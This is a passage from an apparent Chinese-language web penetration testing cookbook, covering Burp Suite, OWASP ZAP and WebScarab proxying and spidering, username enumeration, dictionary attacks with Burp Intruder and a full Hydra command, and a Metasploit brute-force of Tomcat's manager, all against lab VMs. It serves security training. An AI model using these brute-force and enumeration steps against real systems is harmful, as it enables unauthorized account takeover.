如果我们按状态排序结果(通过点击列标题),可以看到最小的数字排在最前面;记住,200 是表示文件或目录存在且可访问的响应代码,重定向是 300,错误位于 400 和 500 之间。

如何操作...

Intruder 做的是,它修改我们指定的特定位置的请求,并将这些位置的值替换为在 Payloads 部分中定义的有效负载。有效负载可能是以下几种:

  • 简单列表:一个可以从文件中获取、从剪贴板粘贴或在文本框中手动输入的列表

  • 运行时文件:Intruder 可以从在运行时读取的文件中获取有效负载,因此如果文件非常大,它不会完全加载到内存中

  • 数字:生成一个数字列表,数字可以是顺序的或随机的,并以十六进制或十进制形式呈现

  • 用户名生成器:从电子邮件地址列表中提取可能的用户名

  • 暴力破丨解丨器:使用一个字符集,并利用它生成所有在指定长度限制内的排列组合

这些有效负载通过 Intruder 以不同的方式发送,这些方式由 Positions 标签中的攻击类型指定。攻击类型根据有效负载在标记位置中组合和排列的方式不同:

  • 狙击手:使用一组有效负载,它会将每个有效负载值依次放置到每个标记位置。

  • 撞锤:与 Sniper 类似,使用一组有效负载;区别在于它将相同的值设置到每个请求的所有位置。

  • 齿轮叉:使用多个有效负载集,并将每个集中的一个项目放置在每个标记位置。适用于我们有预定义的数据集并且这些数据集不应混合的情况,例如测试已知的用户名/密码对。

  • 集群炸弹:测试多个有效负载彼此之间的所有可能组合。

关于结果,我们可以看到有几个现有文件的名称与列表中的文件名称匹配(accountaction),并且有一个名为 admin 的目录,可能包含执行应用程序管理功能的页面,例如添加用户或内容。

使用 ZAP 代理查看和修改请求

OWASP ZAP 类似于 Burp Suite,也不仅仅是一个网络代理。它不仅拦截流量,还有很多其他功能,比如我们在之前章节中使用的爬虫、漏洞扫描器、模糊测试工具和暴力破解工具。它还有一个脚本引擎,可以用来自动化任务或创建新的功能。

在本教程中,我们将开始使用 OWASP ZAP 作为 Web 代理,拦截请求,并在更改一些值后将其发送到服务器。

如何操作...

启动 ZAP 并配置浏览器使用它作为代理。接下来,执行以下步骤:

  1. 转到 vm_1 中的 OWASP Bricks 并选择内容练习第四项(http://192.168.56.11/owaspbricks/content-4/):

我们可以看到页面的即时响应是一个错误,表示用户不存在。还显示了 SQL 代码,表明应用程序正在将一个字段(ua)与浏览器发送的用户代理头字符串进行比较。

用户代理字符串是浏览器在每个请求头中发送的一段信息,用于向服务器标识自己。通常,它包含浏览器的名称和版本、基础操作系统和 HTML 渲染引擎。

  1. 由于用户代理是由浏览器在发送请求时设置的,我们无法在应用程序内部做太多更改。我们将使用 OWASP ZAP 来捕获请求,并设置我们想要的用户代理文本。首先,通过点击工具栏中的绿色圆圈(鼠标悬停时变红)来启用代理中的拦截(称为 break)。这将拦截所有通过代理的请求:

  1. 启用拦截后,去浏览器并刷新页面。回到 ZAP,新的 Break 标签将出现在 Request 和 Response 标签旁边。

  2. 在 Break 标签中,我们可以看到刷新页面时浏览器发出的请求。在这里,我们可以更改请求的任何部分;对于本练习,我们只会更改用户代理值,例如,将其更改为123456

  1. 通过点击播放图标(蓝色三角形)提交请求。每当发出新请求时,它会再次暂停;如果你不想继续在每个请求上进行拦截,可以使用红色圆圈按钮来禁用拦截。

  2. 现在让我们再次进入浏览器查看响应:

错误信息仍然显示用户不存在,但我们输入的值现在在线索代码中显示出来。在后续章节中,我们将学习如何利用像这样的功能,并用它们从数据库中提取信息。

它是如何工作的……

在这个例子中,我们使用 ZAP 代理拦截了一个有效的请求,服务器分析了头部部分。我们修改了头部并验证了服务器实际上接受了我们提供的值。

首先,我们发出了一个测试请求,发现服务器正在使用用户代理头。了解这一点后,我们发出了一个有效的请求并通过代理拦截了它;这使我们能够看到请求在离开浏览器后。然后,我们更改了头部,使用户代理包含我们希望它包含的信息,并将请求提交给服务器,服务器接收并显示了我们提供的值。

另一个无需拦截和手动修改请求的方式是使用我们在 第一章 中安装的 User-Agent Switcher Firefox 扩展程序,设置 Kali Linux 和测试实验室。这样做的问题是,每次我们想要测试不同的值时,都需要在扩展程序中设置一个不同的用户代理,这在渗透测试中非常不便。

使用 ZAP 蜘蛛

在 Web 应用程序中,爬虫或蜘蛛是一种自动浏览网站的工具,它会跟随网站中的所有链接,有时还会填写并提交表单;这使我们能够获取网站内所有被引用页面的完整地图,并记录为获取这些页面所做的请求及其响应。

在本教程中,我们将使用 ZAP 的蜘蛛爬取我们脆弱虚拟机 vm_1 中的一个目录,并查看它捕获到的信息。

如何操作...

我们将使用 BodgeIt (http://192.168.56.11/bodgeit/) 来演示 ZAP 的蜘蛛是如何工作的。请参照以下步骤:

  1. 在 Sites 标签中,打开与测试网站对应的文件夹(本书中为 http://192.168.56.11)。

  2. 右键点击 GET:bodgeit。

  3. 从下拉菜单中选择 Attack | Spider:

  1. 在 Spider 对话框中,我们可以查看爬虫是否为递归模式(即爬取在找到的目录内部),设置起始点和其他选项。暂时,我们保留所有默认选项不变,点击开始扫描:

  1. 结果将在底部面板的 Spider 标签中显示:

  1. 如果我们想要分析单个文件的请求和响应,我们可以前往 Sites 标签,打开网站文件夹,查看其中的文件和文件夹:

它是如何工作的...

像其他爬虫一样,ZAP 的蜘蛛会跟踪它在每个请求的范围内页面中找到的每个链接,以及该页面中的链接。此外,这个蜘蛛还会跟踪表单响应、重定向以及 robots.txtsitemap.xml 文件中包含的 URL,然后它会存储所有请求和响应,供后续分析和使用。

还有更多

在爬取一个网站或目录后,我们可能想要使用存储的请求进行一些测试。利用 ZAP 的功能,我们将能够执行以下操作,当然这只是其中的一部分:

  • 重复请求,修改部分数据

  • 执行主动和被动漏洞扫描

  • 模糊化输入变量,寻找可能的攻击向量

  • 在浏览器中打开请求

使用 Burp Suite 对网站进行爬虫

与 ZAP 功能类似,并且具有一些独特功能以及更易用的界面,Burp Suite 是最常用的应用安全测试工具。Burp Suite 能做的不仅仅是爬取网站,但目前我们只会介绍它的爬虫功能,这是侦察阶段的一部分。

准备就绪

通过转到 Kali 的应用程序菜单并点击 03 - Web 应用程序分析 | Burpsuite 来启动 Burp Suite。

然后,配置浏览器通过端口8080使用它作为代理。

如何操作...

Burp Suite 的代理默认配置为拦截所有请求,这时我们想在没有中断的情况下浏览,所以我们需要禁用它(代理 | 拦截 | 拦截已开启)。然后继续以下步骤:

  1. 一旦使用 Burp Suite 的代理,在浏览器中访问 bWAPP(http://192.168.56.11/bWAPP);这将注册 Burp 的目标和代理标签中的网站和目录。

  2. 转到目标 | 网站地图,右键单击http://192.168.56.11中的bWAPP文件夹,然后从上下文菜单中选择“蜘蛛此分支”:

  1. 会弹出一个警告,询问是否要扫描超出范围的元素(仅当您没有将其添加到范围中时)。点击“是”将其添加到范围中,然后蜘蛛抓取将开始。

  2. 在某个时刻,蜘蛛会发现一个注册或登录表单;当这种情况发生时,Burp Suite 会弹出一个对话框,询问如何填写表单的字段。我们可以忽略它,蜘蛛会继续,或者我们可以提交一些测试值,蜘蛛会填写这些值:

  1. 我们可以在“蜘蛛”标签中查看蜘蛛的状态。我们也可以通过点击“蜘蛛正在运行”按钮来停止它。现在让我们停止它:

  1. 我们还可以看到,随着蜘蛛找到新页面和目录,目标标签中的分支是如何被填充的:

它的工作原理...

Burp 的蜘蛛遵循与其他蜘蛛相同的方法,但它的操作方式稍有不同。我们可以在浏览网站时让它运行,它会将我们跟踪的符合范围定义的链接添加到爬虫队列中。

就像在 ZAP 中一样,我们可以使用 Burp 的抓取结果执行我们可以对任何请求进行的任何操作,例如扫描(如果我们有付费版本)、重复、比较、模糊测试和在浏览器中查看等。

还有更多

蜘蛛抓取通常是一个自动化的过程,蜘蛛几乎不对它们跟踪的链接进行任何检查。在具有缺陷的授权控制或暴露敏感链接和表单的应用程序中,这可能导致蜘蛛发送请求到执行敏感任务的操作或页面,这些任务可能会破坏应用程序或其数据。因此,非常重要的是,抓取必须非常小心地进行,利用所选工具提供的所有排除/包含过滤功能,确保抓取范围内没有敏感信息或高风险任务,并且最好在没有其他选择的情况下作为最后手段通过手动浏览网站。

使用 Burp Suite 的 Repeater 重复请求

在分析蜘蛛爬取的结果并测试表单的可能输入时,发送相同请求的不同版本并更改特定值可能很有用。

在这个配方中,我们将学习如何使用 Burp 的 Repeater 多次发送带有不同值的请求。

准备中

我们从上一个配方的结束点开始本次操作。需要确保 vm_1 虚拟机正在运行,在我们的 Kali 机器上启动 Burp Suite,并且浏览器正确配置以将其作为代理使用。

如何操作...

对于这个配方,我们将使用 OWASP Bricks。以下是所需的步骤:

  1. 转到第一个内容练习(http://192.168.56.11/owaspbricks/content-1/)。

  2. 在 Burp Suite 中,转到 Proxy | History,找到 URL 末尾带有 id=0id=1GET 请求,右键点击它,并从菜单中选择 Send to Repeater:

  1. 现在我们切换到 Repeater 标签页。

  2. 在 Repeater 中,我们可以在左侧看到原始请求。点击 Go 以查看右侧服务器的响应:

分析请求和响应,我们可以看到服务器使用我们发送的参数(id=1)来查找具有相同 ID 的用户,并在响应体中显示该信息。

  1. 因此,服务器上的此页面期望一个名为 ID 的参数,包含一个表示用户 ID 的数字参数。我们来看看如果应用程序收到一个字母而不是数字会发生什么:

响应是一个错误,显示了关于数据库(MySQL)的信息、预期的参数类型、文件的内部路径以及导致错误的代码行。这种详细技术信息的显示本身就表明存在安全风险。

  1. 所以,如果预期值是一个数字,看看如果我们发送一个算术运算会发生什么。将 id 值更改为 2-1

如所见,服务器执行了该操作,并返回了与用户 ID 1 相对应的信息,这就是我们操作的结果。这表明该应用程序可能容易受到注入攻击。我们将在第六章,利用注入漏洞 中深入探讨它们。

它是如何工作的...

Burp Suite 的 Repeater 允许我们手动测试相同 HTTP 请求的不同输入和场景,并分析服务器对每个请求的响应。这是测试漏洞时非常有用的功能,因为可以研究应用程序如何对不同输入作出反应,并相应采取措施识别或利用配置、编程或设计上的潜在弱点。

使用 WebScarab

WebScarab 是另一个功能丰富的 Web 代理,可能对渗透测试人员非常有用。在这个配方中,我们将使用它来爬取一个网站。

准备工作

在其默认配置中,WebScarab 使用端口8008来捕获 HTTP 请求,因此我们需要配置浏览器使用本地主机的该端口作为代理。我们按照 OWASP ZAP 和 Burp Suite 在浏览器中的配置步骤进行;在这种情况下,端口必须是8008

如何做到...

WebScarab 可以在 Kali 的应用程序菜单中找到;转到 03 - Web Application Analysis | webscarab。或者,从终端运行webscarab命令。按照以下步骤进行:

  1. 浏览到vulnerable_vm的 BodgeIt 应用程序(http://192.168.56.11/bodgeit/)。我们将看到它出现在 WebScarab 的 Summary 选项卡中。

  2. 现在,右键单击bodgeit文件夹,从菜单中选择 Spider tree:

  1. 所有请求将显示在 Summary 的底部,树将随着蜘蛛发现新文件而填充:

摘要还显示了关于每个特定文件的一些相关信息,例如它是否存在注入或可能的注入漏洞,是否设置了 cookie,是否包含表单,以及表单是否包含隐藏字段。它还指示代码中是否存在注释或文件上传。

  1. 如果我们右键单击底部一些请求,我们将看到可以执行的操作。我们将分析一个请求,找到路径/bodgeit/search.jsp,右键单击它,然后选择 Show conversation。会弹出一个新窗口,显示各种格式的响应和请求:

  1. 现在点击 Spider 选项卡:

在这个选项卡中,我们可以通过使用 Allowed Domains 和 Forbidden Paths 文本框来调整蜘蛛获取的正则表达式。我们还可以通过使用 Fetch Tree 来刷新结果。我们还可以通过单击 Stop 按钮来停止蜘蛛。

它的工作原理...

与 ZAP 和 Burp Suite 的蜘蛛一样,WebScarab 的蜘蛛对于发现网站或目录中所有引用的文件非常有用,而无需手动浏览所有可能的链接,并深入分析发送到服务器的请求,以及使用它们执行更复杂的测试。

从爬取结果中识别相关文件和目录

我们已经爬取了完整应用程序的目录,并且列出了其中所有引用的文件和目录。自然的下一步是确定哪些文件包含相关信息或者代表找到漏洞的更大机会。

更多的是一个方法,这将是一个常见名称、后缀或前缀的目录,通常包含有关于渗透测试人员有用的信息,或者可以导致完全系统妥协的漏洞利用的目录。

如何做到...

这里是步骤:

  1. 我们首先想要寻找的是登录和注册页面,这些页面可能让我们有机会成为应用程序的合法用户,或者通过猜测用户名和密码来冒充一个用户。一些名称或部分名称的示例包括:

    • 账户

    • 认证

    • 登录

    • 登录

    • 注册

    • 注册

    • 注册

    • 登录

  2. 与此类信息相关的用户名、密码和设计漏洞的其他常见来源是密码恢复页面:

    • 更改

    • 忘记

    • 忘记密码

    • 密码

    • 恢复

    • 重置

  3. 接下来,我们需要确定是否有应用程序的管理部分或一些功能集,可能允许我们在其上执行高权限任务。例如,我们可能会寻找:

    • 管理员

    • 配置

    • 管理员

    • 根目录

  4. 其他有趣的目录包括内容管理系统 (CMS) 管理、数据库或应用程序服务器:

    • admin-console

    • adminer

    • administrator

    • couch

    • manager

    • Mylittleadmin

    • phpMyAdmin

    • SqlWebAdmin

    • wp-admin

  5. 应用程序的测试版和开发版通常比最终版本保护较少,更容易出现漏洞,因此它们是我们寻找弱点的好目标。这些目录的名称可能包括:

    • 测试版

    • 测试版

    • 开发

    • 开发

    • QA

    • 测试

  6. Web 服务器信息和配置文件有时可以提供关于框架、软件版本和可能被利用的特定设置的有价值信息:

    • config.xml

    • info

    • phpinfo

    • server-status

    • web.config

  7. 此外,robots.txt 中标记为 disallow 的所有目录和文件也可能有用。

如何工作...

之前列出的一些名称及其在目标应用程序所使用的语言中的变体,可能允许我们访问网站的受限部分,这在渗透测试中是一个非常重要的步骤;如果我们忽视它们的存在,就无法发现漏洞。它们中的一些会提供关于服务器、其配置以及使用的开发框架的信息。其他一些,如 Tomcat 管理员页面和 JBoss 管理页面,如果配置不当,可能会让我们(或恶意用户)控制 Web 服务器。

第四章:测试身份验证和会话管理

在本章中,我们将覆盖:

  • 用户名枚举

  • 使用 Burp Suite 对登录页面进行字典攻击

  • 使用 Hydra 强力破解基础身份验证

  • 使用 Metasploit 攻击 Tomcat 的密码

  • 手动识别 Cookie 中的漏洞

  • 攻击会话固定漏洞

  • 使用 Burp Sequencer 评估会话标识符的质量

  • 滥用不安全的直接对象引用

  • 执行跨站请求伪造攻击

介绍

当应用程序管理的信息不应公开时,需要一个机制来验证用户是否允许查看某些数据;这就是 身份验证。如今,web 应用程序中最常见的身份验证方法是使用用户名或标识符与秘密密码的组合。

HTTP 是一种无状态协议,这意味着它将所有请求视为独立的,并且没有办法将两者关联为属于同一个用户,因此应用程序还需要一种区分不同用户请求的方式,并允许他们执行可能需要一系列由同一用户完成的请求,或者同时由多个用户连接执行的任务。这被称为 会话管理。Cookie 中的会话标识符是现代 web 应用程序中最常用的会话管理方法,尽管在某些类型的应用程序(如后台 web 服务)中,Bearer Token(包含用户身份信息的值,通常通过每个请求的 Authorization 头部发送)也在不断流行起来。

在本章中,我们将介绍检测 web 应用程序身份验证和会话管理中一些最常见漏洞的步骤,以及攻击者如何利用这些漏洞来获取受限信息的方式。

用户名枚举

战胜常见的用户/密码认证机制的第一步是发现有效的用户名。实现这一点的一种方法是枚举;在 web 应用程序中枚举用户是通过分析当用户名在登录、注册和密码恢复页面提交时的响应来完成的。

在这个实验中,我们将使用一个常见用户名列表,向应用程序提交多个请求,并通过比较响应来找出哪些提交的名字属于现有用户。

准备工作

对于这个实验,我们将在易受攻击的虚拟机 vm_1 中使用 WebGoat 应用程序,并将 Burp Suite 作为代理连接我们的 Kali Linux 浏览器。

如何做…

几乎所有应用程序都提供用户在忘记密码时恢复或重置密码的功能。并且在这些应用程序中,通常会显示当提供了一个不存在的用户名时,这可以用来推断出一个有效用户名列表:

  1. 从 Kali Linux 中,浏览到 WebGoat(http://192.168.56.11/WebGoat/attack),如果弹出登录对话框,请使用 webgoat 作为用户名和密码。

  2. 进入 WebGoat 后,转到身份验证缺陷 | 忘记密码。如果我们提交任何随机的用户名,而该用户在数据库中不存在,我们将收到一条消息,提示该用户名无效:

  1. 然后我们可以假设当提供有效用户名时,响应会有所不同。为了验证这一点,将请求发送到 Intruder。在 Burp 的历史记录中,它应该是一个 POST 请求,指向 http://192.168.56.11/WebGoat/attack?Screen=64&menu=500

  2. 进入 Intruder 后,将用户名设置为唯一的插入位置:

  1. 然后,转到 Payloads 设置我们将在攻击中使用的用户名列表。将类型保持为 Simple List,并点击加载按钮加载 /usr/share/wordlists/metasploit/http_default_users.txt 文件:

  1. 现在我们知道当用户不存在时的消息后,可以使用 Burp 来告诉我们该消息何时出现在结果中。进入选项 | Grep - Match 并清除列表。

  2. 添加一个新的字符串来匹配 Not a valid username

  1. 现在,开始攻击。注意一些用户名,例如 admin,它们的无效用户名消息没有被 Burp Suite 标记;这些就是应用程序中有效的用户名:

它是如何工作的...

如果我们正在测试一个需要用户名和密码才能执行任何操作的 Web 应用程序,我们需要评估攻击者可能如何发现有效的用户名和密码。登录、注册和密码恢复页面中对于有效和无效用户响应的最细微差异,都能让我们找到第一条信息。

分析对相似请求的响应差异是我们作为渗透测试人员始终会执行的任务。在这里,我们使用了 Burp Suite 的工具,例如代理来记录原始请求,使用 Intruder 多次发送请求并改变变量(用户名)的值。Intruder 还允许我们自动搜索字符串,并告诉我们该字符串在响应中出现的位置。

使用 Burp Suite 进行登录页面的字典攻击

一旦我们获得了目标应用程序的有效用户名列表,就可以尝试暴力破解攻击,它会尝试所有可能的字符组合,直到找到有效密码。由于字符组合的巨大数量以及客户端与服务器之间的响应时间,暴力破解攻击在 Web 应用程序中是不可行的。

更实际的解决方案是字典攻击,它使用一个经过精简的高概率密码列表,并尝试与有效用户名组合。

在本教程中,我们将使用 Burp Suite Intruder 来尝试在登录页面上进行字典攻击。

如何操作...

我们将使用 WackoPicko 管理员部分的登录来测试此攻击:

  1. 首先,我们将 Burp Suite 设置为代理我们的浏览器。

  2. 浏览到http://192.168.56.102/WackoPicko/admin/index.php?page=login

  3. 我们会看到一个登录表单。让我们尝试test作为用户名和密码。

  4. 现在,转到 Proxy 的历史记录,查找我们刚刚用来登录尝试的POST请求,并将其发送到 Intruder。

  5. 点击“Clear §”以清除预选的插入位置。

  6. 现在,我们通过高亮显示两个POST参数(adminnamepassword)的值,并点击“Add §”来添加插入位置:

  7. 由于我们希望将密码列表尝试应用到所有用户,我们选择 Cluster bomb 作为攻击类型:

  1. 下一步是定义 Intruder 将测试的输入值。转到 Payloads 选项卡。

  2. 在 Payload Options [Simple list]部分的文本框中,添加以下名称:

    • user

    • john

    • admin

    • alice

    • bob

    • administrator

  1. 现在,从 Payload set 框中选择列表 2。这个列表将是我们的密码列表,我们将使用 2017 年最常见的 25 个密码进行此练习(time.com/5071176/worst-passwords-2017/):

  1. 启动攻击。我们可以看到,除了一条外,所有响应的长度似乎都相同:admin/admin组合的状态是 303(重定向)且长度较小。如果我们检查它,会发现它是重定向到管理员主页:

它是如何工作的...

至于结果,我们可以看到所有失败的登录尝试都得到了相同的响应,但其中有一个返回状态 200(OK),且长度为 813 字节,因此我们推测,成功的请求至少在长度上会有所不同(因为它需要重定向或将用户发送到主页)。如果成功和失败的请求长度相同,我们也可以检查状态码,或使用搜索框查找响应中的特定模式。

还有更多...

Kali Linux 包含一组非常有用的密码字典和词汇表,存储在/usr/share/wordlists目录中。你会在那里找到一些文件,如下所示:

  • rockyou.tar.gz:RockYou 网站于 2010 年 12 月被黑客攻击,超过 1400 万个密码被泄露,这个列表包含了这些密码。这些密码存储在该文件中,因此在使用之前需要解压:
tar -xzf rockyou.tar.gz
  • dnsmap.txt:包含常见的子域名,如intranetftpwww;在暴力破解 DNS 服务器时非常有用。

  • /dirbuster/*dirbuster目录包含常见 Web 服务器文件的名称;这些文件可以在使用 DirBuster 或 OWASP-ZAP 的强制浏览时使用。

  • /wfuzz/*:在此目录中,我们可以找到用于 Web 攻击和暴力破解文件的大量模糊字符串。

  • /metasploit/*:该目录包含 Metasploit 框架插件使用的所有默认字典。它包含多个服务、主机名、用户名、文件名等的默认密码字典。

使用 Hydra 进行基本认证的暴力破解

THC Hydra(简称 Hydra)是一个网络在线登录破解工具;这意味着它可以通过暴力破解活跃的网络服务来查找登录密码。在 Hydra 支持的众多服务中,我们可以找到 HTTP 表单登录和 HTTP 基本认证。

在 HTTP 基本认证中,浏览器会将用户名和密码使用 base64 编码后发送到Authorization头部。例如,如果用户名是admin,密码是Password,浏览器会将admin:Password编码为*YWRtaW46UGFzc3dvcmQ=*,然后请求头中会包含如下内容:

Authorization: Basic YWRtaW46UGFzc3dvcmQ=

几乎每次我们看到一个看似随机的字母数字字符串,并以一个或两个等号(=)符号结尾时,这个字符串都是 base64 编码的。我们可以轻松地使用 Burp Suite 的 Decoder 或 Kali Linux 中的base64命令来解码它。=符号可能会被编码为 URL 友好形式,即在某些请求和响应中会被替换为%3D

在前面的教程中,我们使用了 Burp Suite 的 Intruder 来攻击登录表单;在本教程中,我们将使用 THC Hydra 来攻击另一种登录机制——HTTP 基本认证。

准备工作

除了我们在前面的教程中使用的密码列表外,为了执行这个字典攻击,我们还需要一个用户名列表。我们假设已经进行了侦察,并获得了几个有效的用户名。创建一个文本文件(我们将其命名为user_list.txt),其中包含以下内容:

user
john
admin
alice
bob
administrator
user
webgoat
adam
sample

如何操作...

在我们 Kali Linux 虚拟机中存放用户名和密码字典的目录下,我们执行以下操作:

  1. 打开终端并运行hydra,或者在 Kali Linux 的应用程序菜单中选择 Applications | 05 - 密码攻击 | 在线攻击 | Hydra。

  2. 输入没有参数的命令会显示基本的帮助信息:

在这里,我们可以看到一些有用的信息,帮助我们完成目标。通过使用-L选项,我们可以使用包含可能用户名的文件。-P允许我们使用密码字典。我们需要在命令后加上我们要攻击的服务,后接://和服务器地址,最后可选加上端口号和服务选项。

  1. 在终端中,输入以下命令以执行攻击:
hydra -L user_list.txt -P top25_passwords.txt -u -e ns http-get://192.168.56.11/WebGoat

Hydra 找到两个不同的用户名/密码组合,成功登录到服务器。

它是如何工作的...

与其他身份验证方法(如基于表单的认证)不同,基本身份验证在发送给服务器的内容、发送方式以及期望的响应上是标准化的。这使得攻击者和渗透测试人员可以节省宝贵的分析时间,不用关注哪些参数包含用户名和密码,如何处理和发送它们,以及如何区分成功和失败的响应。这是基本身份验证被认为不安全的众多原因之一。

在调用 Hydra 时,我们使用了一些参数:

  • -L user_list.txt 告诉 Hydra 从 user_list.txt 文件中获取用户名。

  • -P top25_passwords.txt 告诉 Hydra 从 top25_passwords.txt 文件中获取可能的密码。

  • -u—Hydra 将首先遍历用户名,而不是密码。这意味着 Hydra 将首先尝试所有用户名与一个密码的组合,然后再尝试下一个密码。这在某些情况下有助于防止账户被锁定。

  • -e ns—Hydra 会尝试空密码(n)和用户名作为密码(s),以及提供的密码列表。

  • http-get 表示 Hydra 将针对 HTTP 基本身份验证执行 GET 请求。

  • 服务后跟着 :// 和目标服务器(192.168.56.11)。接下来的 / 后是服务器的选项,在本例中是请求身份验证的 URL。端口未指定,Hydra 将尝试默认的 TCP 80

还有更多……

不建议在生产服务器上执行暴力破解攻击或字典攻击,特别是在密码数量较多的情况下,因为这样可能会导致服务中断、有效用户被阻止,或者被客户的保护机制封锁。

作为渗透测试人员,建议每个用户执行此类攻击时最多进行四次登录尝试,以避免被阻止;例如,我们可以像这里一样尝试 -e ns,并添加 -p 123456 来覆盖三种可能性:没有密码、密码与用户名相同,以及密码是 123456,这是全球最常见的密码之一。

另请参见

到目前为止,我们已经在 web 应用程序中看到两种身份验证方法,即基于表单的身份验证和基本身份验证。这些并不是开发人员使用的唯一方法;建议读者进一步调查其他方法的优缺点,以及可能的实现失败,例如:

  • 摘要认证:这种认证方法比基本认证更加安全。客户端不会直接将用户名和密码编码在请求头中,而是计算由服务器提供的一个称为 nonce 的值与其凭证一起的 MD5 哈希值,并将此哈希值发送到服务器。服务器已经知道 nonce、用户名和密码,并可以重新计算哈希并比较两个值。

  • NTLM/Windows 认证:与摘要认证遵循相同原理,NTLM 认证使用 Windows 凭证和 NTLM 哈希算法来处理服务器提供的挑战。该方案需要多次请求-响应交换,且服务器和任何中间代理必须支持持久连接。

  • Kerberos 认证:该认证方案利用 Kerberos 协议来进行服务器认证。与 NTLM 一样,它不要求输入用户名和密码,而是使用 Windows 凭证进行登录。

  • Bearer Token(持有者令牌):持有者令牌是一种特殊值,通常是一个随机生成的长字符串或一个经过加密哈希函数签名的 base64 编码数据结构,它授予任何向服务器提供该令牌的客户端访问权限。

使用 Metasploit 攻击 Tomcat 的密码

Apache Tomcat 是全球最广泛使用的 Java Web 应用服务器之一。通常可以发现 Tomcat 服务器存在一些默认配置。在这些配置中,惊人地常见的是服务器暴露了管理应用程序,即允许管理员启动、停止、添加和删除服务器中的应用程序的那个应用程序。

在本教程中,我们将使用 Metasploit 模块对 Tomcat 服务器执行字典攻击,以便获得其管理应用的访问权限。

准备中

如果这是你第一次运行 Metasploit Framework,你需要启动数据库服务并初始化它。Metasploit 使用 PostgreSQL 数据库来存储日志和结果,所以我们首先要做的是启动服务:

service postgresql start

然后,我们使用 Metasploit 数据库工具来创建并初始化数据库:

msfdb init

然后,我们启动 Metasploit 控制台:

msfconsole

如何操作...

我们可以使用 Hydra 或 Burp Suite 来攻击 Tomcat 服务器,但遇到某些不如预期的情况时,能够有备用的解决方案,并使用其他工具,应该是任何优秀渗透测试人员的技能之一。所以,我们在本教程中将使用 Metasploit:

  1. 漏洞虚拟机 vm_1 上运行着一个 Tomcat 服务器,端口为 8080。浏览器访问 http://192.168.56.11:8080/manager/html

  1. 我们得到一个基本认证弹窗,要求输入用户名和密码。

  2. 打开终端并启动 Metasploit 控制台:

msfconsole
  1. 启动完成后,我们需要加载合适的模块。在 msf> 提示符下输入以下内容:
use auxiliary/scanner/http/tomcat_mgr_login
  1. 我们可能想查看它使用的参数:
show options
  1. 现在,我们设置目标主机;在这种情况下,只有一个目标:
set rhosts 192.168.56.11
  1. 为了让它运行得稍微快一点,但又不至于太快,我们增加线程数。这意味着并行发送请求:
set threads 5
  1. 同时,我们不希望由于请求过多导致服务器崩溃,因此我们降低了暴力破解速度:
set bruteforce_speed 3

  1. 其余的参数与我们的案例一样工作,所以我们现在运行攻击:
run
  1. 在几次尝试失败后,我们会找到一个有效的密码,那个被绿色 [+] 符号标记的密码:

它是如何工作的...

默认情况下,Tomcat 使用 TCP 端口 8080,并且其管理应用位于 /manager/html。该应用使用基本的 HTTP 身份验证。我们刚才使用的 Metasploit 辅助模块(tomcat_mgr_login)有一些配置选项值得在这里提到:

  • BLANK_PASSWORDS:为每个测试的用户添加一个空密码的测试

  • PASSWORD:如果我们想测试一个密码在多个用户下的有效性,或是添加一个列表中未包含的特定密码,这个选项很有用。

  • PASS_FILE:我们将在测试中使用的密码列表

  • Proxies:如果我们需要通过代理访问目标,或为了避免被检测到,我们需要配置此选项

  • RHOSTS:我们想要测试的主机、主机列表(用空格分隔)或包含主机的文件(file: /path/to/file/with/hosts

  • RPORT:Tomcat 在主机上使用的 TCP 端口

  • STOP_ON_SUCCESS:当找到有效密码时停止对主机的进一步尝试

  • TARGERURI:主机内管理应用的位置

  • USERNAME:定义一个特定的用户名进行测试;它可以单独测试或添加到 USER_FILE 中定义的列表中

  • USER_PASS_FILE:包含用户名/密码组合的文件,用于测试

  • USER_AS_PASS:将列表中的每个用户名作为其密码进行尝试

还有更多...

一旦我们获得了对 Tomcat 服务器的访问权限,我们可以查看并操作(启动、停止、重启和删除)安装在其中的应用程序:

此外,我们还可以上传自己的应用程序,包括那些在服务器上执行命令的应用程序。上传并部署一个 webshell 到服务器并在其中执行系统命令的练习留给读者自己完成。Kali Linux 在 /usr/share/webshells 中包含了许多有用的 webshell 源代码:

手动识别 Cookie 中的漏洞

Cookie 是服务器存储在客户端计算机中的信息,可以是持久性的也可以是临时的。在现代 Web 应用程序中,Cookie 是跟踪用户会话的最常见方式。通过将服务器生成的会话标识符保存在用户的计算机中,服务器能够区分同时来自不同客户端的请求。当任何请求发送到服务器时,浏览器会添加 Cookie,然后发送请求,这样服务器就可以根据 Cookie 区分会话。

在这个教程中,我们将看到如何识别 Cookie 中的常见漏洞,这些漏洞可能允许攻击者劫持有效用户的会话。

如何操作...

推荐在执行此示例之前删除所有 cookie。因为来自不同应用程序的 cookie 可能会混淆,所有这些应用程序都在同一服务器上,并且所有 cookie 都属于同一域:

  1. 浏览到 http://192.168.56.11/WackoPicko/

  2. 我们可以使用 Cookies Manager 浏览器插件来检查 cookie 的值和参数。为此,只需点击插件图标,它将显示浏览器当前存储的所有 cookie。

  3. 选择任何一个 cookie,例如来自域 192.168.56.11PHPSESSID,然后双击它,或者点击编辑以打开新对话框查看并修改其所有参数:

PHPSESSID 是基于 PHP 的 web 应用程序中会话 cookie 的默认名称。通过查看该 cookie 中参数的值,我们可以看到它可以通过安全和不安全通道(HTTP 和 HTTPS)发送,并且可以通过服务器和客户端的脚本代码读取,因为它没有启用 Secure(通过“Send For: Any type of connection”参数可以看出)和 HTTP Only 标志。这意味着该应用程序中的会话可能会被劫持。

  1. 我们还可以使用浏览器的开发者工具来查看和修改 cookie 值。打开开发者工具并进入存储:

在这个截图中,我们选择了一个名为 session 的 cookie,它仅对服务器上的 WackoPicko 目录有效(由 Path 参数指定);当浏览器关闭时它会被清除(Expires: "Session"),并且与 PHPSESSID 一样,它没有启用 HttpOnlySecure 标志,因此可以通过脚本访问(HttpOnly),并且可以通过 HTTP 或 HTTPS 传输(Secure)。

它是如何工作的...

在这个示例中,我们只是检查了一个 cookie 的一些值。虽然它不像其他示例那样引人注目,但在每次进行渗透测试时,检查 cookie 配置非常重要;配置错误的会话 cookie 会导致会话劫持攻击,并可能滥用可信用户的帐户。

如果一个 cookie 没有启用 HTTPOnly 标志,它可以被脚本读取,这意味着如果存在 跨站脚本 (XSS) 漏洞(我们将在后面的章节中看到),攻击者将能够获取有效会话的标识符,并利用该值冒充真实用户在应用程序中的身份。

